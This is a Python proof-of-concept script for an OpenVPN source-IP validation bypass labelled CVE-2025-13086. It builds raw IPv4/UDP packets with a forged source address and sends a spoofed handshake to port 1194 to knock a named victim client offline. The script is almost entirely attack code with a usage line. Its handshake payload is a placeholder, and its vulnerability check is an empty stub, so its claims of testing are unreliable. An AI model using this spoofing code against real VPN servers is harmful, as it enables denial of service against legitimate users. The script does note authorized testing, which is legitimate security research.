# CVE-2025-13086 PoC - OpenVPN Source IP Validation Bypass
# This PoC demonstrates the concept of IP spoofing attack against vulnerable OpenVPN versions
# Note: This is for educational and authorized testing purposes only
import socket
import struct
import time
from datetime import datetime
# OpenVPN protocol constants
OPENVPN_PORT = 1194
OPENVPN_PROTO_UDP = 17 # IP Protocol number for UDP
def create_openvpn_packet(source_ip, dest_ip, payload):
"""
Construct a raw UDP packet with specified source IP for IP spoofing
"""
# IP Header construction (20 bytes)
version_ihl = (4 << 4) | 5 # IPv4, 20 byte header
tos = 0
total_length = 20 + 8 + len(payload) # IP + UDP + payload
identification = 0x1234
flags_fragment = 0x4000 # Don't fragment
ttl = 64
protocol = 17 # UDP
checksum = 0
src_addr = socket.inet_aton(source_ip)
dst_addr = socket.inet_aton(dest_ip)
ip_header = struct.pack('!BBHHHBBH4s4s',
version_ihl, tos, total_length, identification,
flags_fragment, ttl, protocol, checksum,
src_addr, dst_addr)
# UDP Header construction (8 bytes)
src_port = 50689
dst_port = OPENVPN_PORT
udp_length = 8 + len(payload)
udp_checksum = 0
udp_header = struct.pack('!HHHH',
src_port, dst_port, udp_length, udp_checksum)
return ip_header + udp_header + payload
def send_spoofed_openvpn_handshake(target_ip, victim_ip):
"""
Send a spoofed OpenVPN handshake packet from victim's IP address
"""
print(f"[*] Target OpenVPN Server: {target_ip}")
print(f"[*] Spoofing source IP: {victim_ip}")
print(f"[*] Timestamp: {datetime.now().isoformat()}")
# Construct OpenVPN handshake message (simplified)
# In real attack, this would be captured from legitimate handshake
handshake_payload = b'\x00\x00\x00\x00' # Placeholder for actual handshake
# Create raw packet with spoofed source IP
packet = create_openvpn_packet(victim_ip, target_ip, handshake_payload)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sock.sendto(packet, (target_ip, OPENVPN_PORT))
print(f"[+] Spoofed packet sent successfully")
print(f"[!] This may cause DoS for legitimate client at {victim_ip}")
except PermissionError:
print("[-] Raw socket creation requires root/administrator privileges")
print("[-] This PoC requires elevated privileges to execute")
except Exception as e:
print(f"[-] Error: {e}")
def check_vulnerability(target_ip):
"""
Check if target OpenVPN server is vulnerable
"""
print(f"[*] Checking OpenVPN server at {target_ip}")
print(f"[*] Testing source IP validation...")
# Actual implementation would involve sending packets and analyzing response
pass
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print("Usage: python cve-2025-13086-poc.py <target_ip> <victim_ip>")
print("Example: python cve-2025-13086-poc.py 192.168.1.100 10.8.0.5")
sys.exit(1)
target = sys.argv[1]
victim = sys.argv[2]
send_spoofed_openvpn_handshake(target, victim)